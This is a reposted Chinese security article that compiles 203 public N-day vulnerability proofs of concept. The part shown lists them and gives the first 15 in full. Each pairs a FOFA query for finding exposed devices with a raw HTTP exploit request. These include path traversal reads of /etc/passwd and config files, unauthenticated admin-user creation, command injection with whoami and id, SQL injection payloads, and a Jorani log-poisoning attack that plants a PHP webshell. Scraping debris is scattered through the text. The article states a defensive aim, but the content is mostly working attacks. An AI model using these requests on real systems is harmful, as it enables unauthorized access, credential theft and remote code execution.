互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
5 g/ u+ X( A+ e+ |- `道一安全 2024-06-05 07:41 北京
* K$ K. j% R* D2 o* O1 N以下文章来源于网络安全新视界 ，作者网络安全新视界

. D# J& g3 y; U' F发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

" q. y& w3 Q" C+ V漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

1 h8 X9 O- t2 x; R( U$ @0 o/ B8 M! G安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
- Z: _0 N2 Y" m
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
  P; Y2 i- Z* t3 K6 e/ X$ r2 D
0 N/ [: X2 l6 N$ L
声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
$ y7 @9 @0 [$ U7 G$ r
2 Y* [: E2 R2 z- s" _
" g2 F- h+ {4 R
4 e, _2 \+ }2 @4 [# i& q2 w目录

$ @& J& T8 r- v# A$ n5 k2 D01

& R& z1 k4 T2 w$ j; L9 B1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
9 h9 w" [. H( L+ C7 ^* k3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
& m4 |# C4 |  K5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
% n! b( l% F0 _, S" i7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
+ n( O" g6 L; h8 _9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
; w  h6 E) Y* e0 Q  j8 w9 w: Y2 p11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
& H( }7 t  K( n% `1 H- n3 V15. 华夏ERP getAllList信息泄露
3 |! l  x: E1 V+ o16. 红帆HFOffice医微云SQL注入
4 Q: j/ `( p3 `# f17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
! f* U* b) W& J. C6 p5 ]& C20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
4 }* B. J9 E  b  s( Z# N% V25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
/ L8 H% Y$ M. y8 K9 u" t6 R9 x& G27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
7 j1 p# R7 i6 ^30. 用友NC importPml SQL注入
5 {' U1 f; a* Z0 m* L  `) x31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
, K9 w# D# C- J4 [34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
+ m& _6 x9 W$ E" U' @( ^39. 用友U8 Cloud RegisterServlet SQL注入
: }/ a+ k! f4 {! G6 {40. 用友U8-Cloud XChangeServlet XXE
) s# v) B7 y7 O- b* E41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
( F  D/ [" a/ {8 `6 ]. i  |42. 用友GRP-U8 SmartUpload01 文件上传
8 @9 O; }4 }9 L5 t2 O/ x43. 用友GRP-U8 userInfoWeb SQL注入致RCE
3 n  J- d1 |8 ~; d- j% m44. 用友GRP-U8 bx_dj_check.jsp SQL注入
7 h9 @  R, A, M: \0 d45. 用友GRP-U8 ufgovbank XXE
2 {5 i# ]' ]* n# O, h* Z46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. m. N/ N- C4 t1 v( v, A; Z47. 用友GRP A++Cloud 政府财务云 任意文件读取
4 z1 Z% f+ J0 V( q48. 用友U8 CRM swfupload 任意文件上传
; o6 N$ V, l* y! \$ w49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
3 a6 E/ _  G3 E3 h" n; G51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
  Q5 n0 c" w1 ^' H' k53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
9 u  c, V3 m) S  T, O) M/ b# w2 K55. 畅捷通T+ getdecallusers信息泄露
0 y) N3 A2 i4 q' r* B9 j56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
* |% P7 @- c1 D+ [0 o- K57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
* o9 M5 s  c: _/ n# @6 K60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
/ w* G+ {1 d. N+ i: I62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
; V( z" w0 ?+ Y4 K) w. ?65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
, d# _! l% N( O8 J) q- G66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
; f0 S2 y  c7 X' B/ C! u8 }' e67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
, Q! M" t. U5 g- z9 f4 j: i1 F1 M69. 万户 ezOFFICE contract_gd.jsp SQL注入
. L  G/ v* [# y% S3 L70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
% t, C; l" l! I4 A8 D1 B72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
# Q  R- T. ^) C% J* F  `, c76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
0 l1 E6 q  r0 w. p" d9 d78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
. K# E7 s5 }  S+ c79. BYTEVALUE 百为流控路由器远程命令执行
5 x/ M  w$ n/ ~# x  o80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
9 A/ R5 \1 I: _81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
  G4 T& J. y8 J& K" D82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
% s# z4 t) c+ q3 v6 U9 y# H84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
( K" [! h7 m* K) R, s85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
0 [: `/ Z$ {# \5 w" A88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
, J4 b) M0 R2 d& A( G8 a! l89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
, q' R* S" W- D( d% |  C8 M9 n0 o6 U92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
5 D) ?9 `5 L% R/ G) {95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
. N# Y, {8 W& d96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
2 t' D+ k: w1 V99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
5 c0 ?) P0 M7 ^102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
4 g" ~2 q# x8 w. }6 `" L( y104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
( _9 Y7 Y3 x) t& I/ p1 N) n% D7 @105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
: C8 R9 ]5 C' @+ I2 K: u107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
, v' L- `- x2 @$ N) h# x: `! ~109. Jenkins CLI 任意文件读取
, l& N! Q2 v  o8 c& D5 a1 g110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
) S! w) u% C$ i6 b# Y114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
! d% U# M6 `* _. z- m116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
4 T% u9 e. F* T0 u+ D* {120. 北京百绰智能S40管理平台导入web.php任意文件上传
* a% d( z3 P8 _121. 北京百绰智能S42管理平台userattestation.php任意文件上传
# Z$ i9 A+ r2 I- A122. 北京百绰智能s200管理平台/importexport.php sql注入
7 |# T) a6 ~( u123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
" @, Y( t3 I: I; L1 W/ }. S129. Adobe ColdFusion 任意文件读取
( d1 f- I2 Z3 [$ n130. Laykefu客服系统任意文件上传
! M- W7 F, }* \2 Q) G! h3 ~9 D: d* F' z131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
" z! V0 j8 G" N( E! a1 a$ ^133. H5 云商城 file.php 文件上传
, b7 U3 A( G5 r9 m" t134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
8 W- s2 \. [, j4 S1 d6 w/ H' x7 |+ v136. NextChat cors SSRF
5 o. H! C9 x; ?; k137. 福建科立迅通信指挥调度平台down_file.php sql注入
' C/ {3 G' p3 q1 K138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
; s* e0 F. [; m" x0 x142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
: Q+ X% e  w) k) |145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
' u( M) F# v7 [146. MajorDoMo thumb.php 未授权远程代码执行
! b8 C* k- `! p8 r147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
- j% v) V; a7 I; |- n' k4 C4 k149. AJ-Report开源数据大屏存在远程命令执行
- G, Y8 h* c3 `. t) `8 Y5 k* p150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
6 X5 V/ w* l* ?/ |! ]152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
$ O1 o( z% q& F4 W& ^8 ?: M/ a154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
9 n: i+ P0 ]; B- m- M156. TBK DVR-4104/DVR-4216 操作系统命令注入
* Y- G( Q3 Q) q/ v157. 美特CRM upload.jsp 任意文件上传
( Z1 w7 ^  a* y* b158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
  s+ O% x/ e6 d* e8 m- a0 L  a160. Sonatype Nexus Repository 3目录遍历与文件读取
+ m+ r# U2 q5 g161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
& V+ x1 a1 i3 Z7 n164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
1 N7 j# k9 U9 u. t165. OrangeHRM 3.3.3 SQL 注入
  @6 ^3 y: g9 ^1 F, j9 x166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
( P" s) Z3 J+ G2 a' m169. 宏景EHR downlawbase SQL注入
# L! ]6 i$ a2 O. ]0 C5 x170. 宏景EHR DisplayExcelCustomReport 任意文件读取
' c. t( n9 F7 h. r2 k. @: E171. 通天星CMSV6车载定位监控平台 SQL注入
$ u$ g* D5 C' C172. DT-高清车牌识别摄像机任意文件读取
5 v! o7 ~4 z4 r: I173. Check Point 安全网关任意文件读取
3 v8 {& f: ]2 {  o% ?5 O% }174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
1 K7 I' i* s& ]5 D177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
6 i% D1 Y8 o1 S' o$ h' {3 n179. 建文工程管理系统存在任意文件读取
/ `# J; Y8 z$ u( V( o  V" m2 M) Q3 ^180. 帮管客 CRM jiliyu SQL注入
( t1 _' ~. G( ?* q$ {7 }181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
+ p7 P: m* u" x2 P* }- K. s( d185. 瑞友天翼应用虚拟化系统SQL注入
- \$ Y4 K% Y( g186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
$ G8 _( N; B7 U: g3 D( ^1 k5 L189. 蓝网科技临床浏览系统 deleteStudy SQL注入
" u, S- e6 t- |% U& p6 V" p. ^  K* U190. 短视频矩阵营销系统 poihuoqu 任意文件读取
) N: Q/ N' W& Z191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
8 _; _# ~5 ^1 s; A) B- `& N192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
- Y( r8 B/ j' f193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
0 w# j4 G% N1 C1 _: i1 z& J  j0 |194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
% E( C$ j6 q& u/ e. O8 h$ l5 @195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
. \( o8 n) p+ ]: b! ?5 i196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
8 h, w1 [0 k; r. ^6 W198.  阿里云盘 WebDAV 命令注入
/ q0 L# d& r% N& R199. cockpit系统assetsmanager_upload接口 文件上传
: m" b0 x- R2 v/ h/ J8 ~200. SeaCMS海洋影视管理系统dmku SQL注入
% B2 C7 I$ s0 d) Y) m$ f201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
; n  _$ v3 ~3 s) C203. 红海云EHR PtFjk 文件上传
. d2 j8 m- o1 @' f5 N/ H# `
! u2 v; M& X- ?4 }POC列表

02
; e9 U& u: A  _, |3 w7 {
2 _! R' F) @6 ]0 ^+ C0 C; s- l& X; a, N1. StarRocks MPP数据库未授权访问
* a- H8 N9 E6 T& ^" ?FOFA ：title="StarRocks"
% l9 I4 X. D, T8 G* H) p1 `GET /mem_tracker HTTP/1.1
Host: URL

% I& Q! J4 Y; J
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
+ z- S' Y2 k0 ~7 DGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
' W0 \6 L# b* l9 ]: SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! D5 H5 G8 S3 d, k# MConnection: close
Accept: */*
8 B# O* I, r2 z2 s. M; aAccept-Language: en
Accept-Encoding: gzip
9 B' {/ `7 F( R2 T: n: V

3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
# E* D4 d6 \7 n6 O0 q9 i% CGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
* K( N1 j8 M- s' U9 l, |3 |1 T
0 m) P6 [, u' Z( i7 P% L& a
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
; l: X4 d$ c* f( X& q7 j
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
$ J3 o$ ~& h/ O7 NHost: your-ip
  k2 q; P; j, |9 F. kContent-Type: application/x-www-form-urlencoded; charset=UTF-8

% B2 J) j, F) {) {name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

5 j+ Y  I. F: Q' `& x, u+ Y. A
5. NUUO NVR 视频存储管理设备远程命令执行
7 x3 |7 i: N/ mFOFA：title="Network Video Recorder Login"
3 H3 v" M9 c" r* j, v+ d) X3 zGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
8 m# K4 @3 t0 S+ D. U% W! _

0 q0 C8 k- ~4 _: ~- S' k2 F  y6. 深信服 NGAF 任意文件读取
( s+ K3 q5 c! i) ^; {FOFA：title="SANGFOR | NGAF"
+ s" H  x3 z- M3 e; b2 @) _GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
% a4 f) V  T4 I) m& O

7. 鸿运主动安全监控云平台任意文件下载
9 a; e, N8 |( d  y# a# Y1 |FOFA：body="./open/webApi.html"
" L+ C0 T5 }  @) E, |$ xGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
8 T5 ~& u8 R6 Y) \) SHost:


+ l  U( x: j; @' x0 Y. x* `$ H5 b' E8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
, L7 r& w( d4 x3 h( ]# B. E默认账号admin登录后台后，执行操作
0 F5 R' z( X; w1 [POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
" R7 U  ?8 x: z: GCookie: sysauth=第一步登录获取的cookie
' }! U/ f% X+ `5 G" {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
1 k0 J; a! Q' a; L( }+ D$ GUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
5 S$ U) f& ?9 M+ ]( S& W6 a+ x. XContent-Disposition: form-data; name="wifiRebootEnablestatus"

  @7 ^6 j- U2 m. P%s
' V3 T' }: U& X# K* P: M) j5 W------WebKitFormBoundaryxbgjoytz
$ n5 ?/ V$ M6 \0 R( C* NContent-Disposition: form-data; name="wifiRebootrange"

! j' V7 O9 f( s: O12:00; id;
  }' S4 S. h* }------WebKitFormBoundaryxbgjoytz
7 G! v2 v% M( P) N6 E. P" ^0 \Content-Disposition: form-data; name="wifiRebootendrange"

! E$ q7 Z( H7 ^+ U+ v, }3 O%s:
------WebKitFormBoundaryxbgjoytz
" C+ h5 [( o  Y3 qContent-Disposition: form-data; name="cururl2"
# _  T  U: ^6 w! C

------WebKitFormBoundaryxbgjoytz--

1 h" k4 m2 M( Q/ \% r# n
9. 稻壳CMS keyword 未授权SQL注入
% }+ t! f  {: l5 K& q, ]5 WFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
, x2 w* _+ {3 Q3 `Host: x.x.x.x
0 n+ a! U! a+ l! l
! z  R+ e1 l" e! `2 E& o% f
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
! D9 M7 E8 J$ w" z, M/ }; |FOFA：icon_hash="953405444"
& s" k' L  ~- O% r
文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
: L" Q/ D# n/ eHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
% ]9 ~9 j$ ~/ X# O) }4 j+ j0 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- v1 j( V* E$ T. Y5 oConnection: close
2 z8 k$ T2 i: m9 h4 V! `2 bContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
* R# ]1 }0 L4 Z2 P! F6 _3 w6 nContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

+ F5 K0 v4 Y: j" y' ~jmnqjfdsupxgfidopeixbgsxbf
! T4 R# P- v. p4 t! n1 \------WebKitFormBoundaryxdgaqmqu--
3 t7 ]# F  n" z: b
" J" T- R: U) k, m
3 w- x6 i# K* o# p- H11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
3 O, {6 I9 U5 l0 j' {% v6 y2 uFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
+ D' @: Q: q  fHost: 127.0.0.1
, ^8 J$ F( w9 P7 xPragma: no-cache
2 W7 i3 C& X3 K7 `1 t. s# kCache-Control: no-cache
0 u, u# m2 A& ~6 gUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ X, k1 I% F7 X+ NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
! Q  _: x5 }6 @1 M! o  c# y8 F
* u6 W/ c* {5 n% x
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
9 t0 ~% G& Y- d% Z' h8 Z& h2 A第一步先拿到cookie
GET /session/login HTTP/1.1
$ T' |7 t( z" Z; E+ }2 CHost: 192.168.190.30
% j: K' p+ A0 s" V# s, eUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
' |; O2 U( ]/ l# e! mAccept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
$ t1 G0 z& `! K) t9 H. h4 JLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
$ `' ]9 n) `. ^4 vPragma: no-cache
, N% s  B7 r8 e" B7 C% n1 tServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
) @0 z$ A( V& ?- M2 WSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

& Y' b0 q8 U9 u; f
POST请求，执行函数并进行base64编码
- h! a0 G) Y0 J' D& GPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
+ S- T; S: V, cContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
0 ^2 P2 V* `. I. u% F1 C( @3 L3 KAccept-Encoding: gzip
3 h% f0 z# m# {# n% n4 p6 u
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
4 P5 O- M1 i. j! x4 C5 f% Y% X0 @) V


向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
3 k1 y' _) J2 VGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
, D+ W$ S+ v+ L: M, RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& d9 F3 C5 x/ z% w0 m* GConnection: close
" F* N. }8 v) n7 ?' I+ L  U) {  ^' LCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
( v5 r( _7 h$ Y" |0 ZX-REQUESTED-WITH: XMLHttpRequest
7 |( {: M' {# t# AAccept-Encoding: gzip

' A  S6 U8 G# n' a; g0 R6 P; |; c
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
  h" a# J% O; K7 ^6 ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 G5 o9 d8 U+ Y7 oConnection: close
6 ]1 ^3 e1 n$ }( J# L9 `- Q5 q8 y3 f, iAccept: */*
9 v8 Y  G: `6 u. s! XAccept-Encoding: gzip

5 }0 b& {+ I: M  H/ r% e2 [
5 F+ q) b: Z; l- c14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
2 j; I- ?8 c) D. @; b' Z( `泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
6 w- |- h3 c* C' P2 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
% |1 X/ ^& N# \9 s1 tAccept-Language: en
  |5 @/ D+ _/ H' W* Q& nAccept-Encoding: gzip
2 c( s- A* `' h3 I, U
; v5 {; m/ p* X& c+ ^
  P. U$ |+ H: W' ^* R15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
, O( |0 c$ F0 f, N1 l9 ]泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
  w- a% D- S7 U  b1 e# jAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
5 O  d; Q, p% C4 A. Zsec-ch-ua-platform: Windows
